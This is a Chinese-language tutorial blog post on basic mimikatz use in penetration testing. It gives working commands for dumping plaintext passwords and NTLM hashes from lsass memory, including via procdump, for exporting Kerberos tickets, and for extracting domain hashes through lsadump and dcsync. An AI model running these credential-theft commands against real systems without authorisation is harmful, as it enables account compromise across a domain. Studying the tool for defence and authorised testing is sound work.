【内网渗透】mimikatz 基本使用

前言

本文主要是记录内网渗透神器mimikatz的主要使用方法,作为今后在渗透过程中的一个简单手册。

1. 工具简介

项目地址:https://github.com/gentilkiwi/mimikatz/

作者一直在更新这个项目,截止今日,最近一次更新2021年8月10日。

mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证。

功能模块命令如下:

cls:       清屏
standard:  标准模块,基本命令
crypto:    加密相关模块
sekurlsa:  与证书相关的模块
kerberos:  kerberos模块
privilege: 提权相关模块
process:   进程相关模块
serivce:   服务相关模块
lsadump:   LsaDump模块
ts:        终端服务器模块
event:     事件模块
misc:      杂项模块
token:     令牌操作模块
vault:     Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:     DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv:    系统环境值模块
sid:       安全标识符模块
iis:       IIS XML配置模块
rpc:       mimikatz的RPC控制
sr98:      用于SR98设备和T5577目标的RF模块
rdm:       RDM(830AL)器件的射频模块
acr:       ACR模块
version:   查看版本
exit:      退出

2. 提升权限 privilege::debug

通过debug获得mimikatz程序的特殊操作。

调试权限允许某人调试他们本来无法访问的进程。例如,作为用户运行的进程在其令牌上启用了调试权限,可以调试作为本地系统运行的服务。

image

当出现ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061时,表示客户端未持有所需的权限,即不是管理员。

image

3. 抓取明文密码 sekurlsa::logonpasswords

在windows2012以上的系统不能直接获取明文密码了,需要配置相关注册表等操作。

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

或者直接运行:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
image

分析命令执行后的内容

前面几行的Authentication ... SID等值就是一些基本信息。

msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文。

tspkg,wdigest,kerberos:这个就是账户对应的明文密码了。有的时候这三个对应的也不是全部都是一样的,需要看服务器是什么角色。

SSP:是在该机器上,最近登录到其他RDP终端的账户和密码。

4. sekurlsa模块 获取密码信息

Mimikatz提取用户凭证功能,其主要集中在sekurlsa模块,该模块又包含很多子模块,如msv,wdigest,kerberos等。如上面演示的抓取明文密码的sekurlsa::logonpasswords模块。

使用这些子模块可以提取相应的用户凭证,如

sekurlsa::msv提取ntlm hash凭证(对应上面截图的msv部分);

sekurlsa::wdigest提取用户密码明文(对应上面截图的wdigest部分);

sekurlsa::kerberos提取域账户凭证。

4.1 procdump + mimikatz 加载dmp文件,并导出其中的明文密码

procdump工具,可以将lsass.exe进程的内存文件导出来,由mimikatz对导出的内存文件进行分析,从而获取密码。

新版procdump v10.1 使用时存在错误:https://docs.microsoft.com/en-us/answers/questions/500002/new-procdump-not-working-in-window-server-2016-160.html

开发者在下面也进行了回复,ProcDump v10.1 添加了对 IPT 流的支持——操作系统/调试器应该支持 Winv8.1+ 的 IPT——但它似乎甚至不在 Win10-RS1/Win2016 服务器中。

修复程序正在开发中。

[15:44:40] Dump 1 initiated: c:\temp\cmd.exe_210803_154440.dmp
[15:44:40] Dump 1 error: Error writing dump file: 0x80070057
The parameter is incorrect. (0x80070057, -2147024809)

[15:44:40] Dump count reached. 
image

这里我使用procdump v8.0

关注公众号“信安文摘”,回复“procdump”下载。


管理员运行工具,导出为lsass.dump文件:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
image

将lsass.dmp放在mimikatz同一目录,读取密码文件:

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
image

4.2 导出lsass.exe进程中所有的票据 sekurlsa::tickets /export

该功能模块导出lsass.exe进程中所有的票据,运行该命令会在当前目录生成多个服务的票据文件。

image

可以使用这些导出的票据进行票据传递攻击(Pass The Ticket,PTT),对应的另一种攻击方式为哈希传递攻击(Pass The Hash,PTH)。

目前没有遇到这种环境进行学习,该种攻击方法的学习链接如下:票据传递(Pass The Ticket)攻击与利用:https://cloud.tencent.com/developer/article/1752178

之后遇到相关靶场环境(PTH、PTT)再进行学习记录。

5. lsadump模块 读取域控中域成员Hash

5.1 读取所有域用户的哈希 lsadump::lsa /patch

该命令需要在域控机器上执行:

image

5.2 查看域内指定用户信息,包括NTLM哈希等

该命令需要在域控机器上执行:

lsadump::dcsync /domain:god.org /user:ligang
image

总结

文章整理的有点乱,还是对mimikatz不够熟悉。mimikatz的功能远不止这些,包括上面提到的PTH和PTT攻击,还需要好好深入学习。

参考资料

神器mimikatz密码提取工具-Privilege模块

https://blog.csdn.net/weixin_40412037/article/details/113348310

利用procdump+mimikatz读取windows系统中的密码

https://www.cnblogs.com/-mo-/p/11890232.html

https://www.freebuf.com/articles/web/176796.html

你可能感兴趣的:(【内网渗透】mimikatz 基本使用)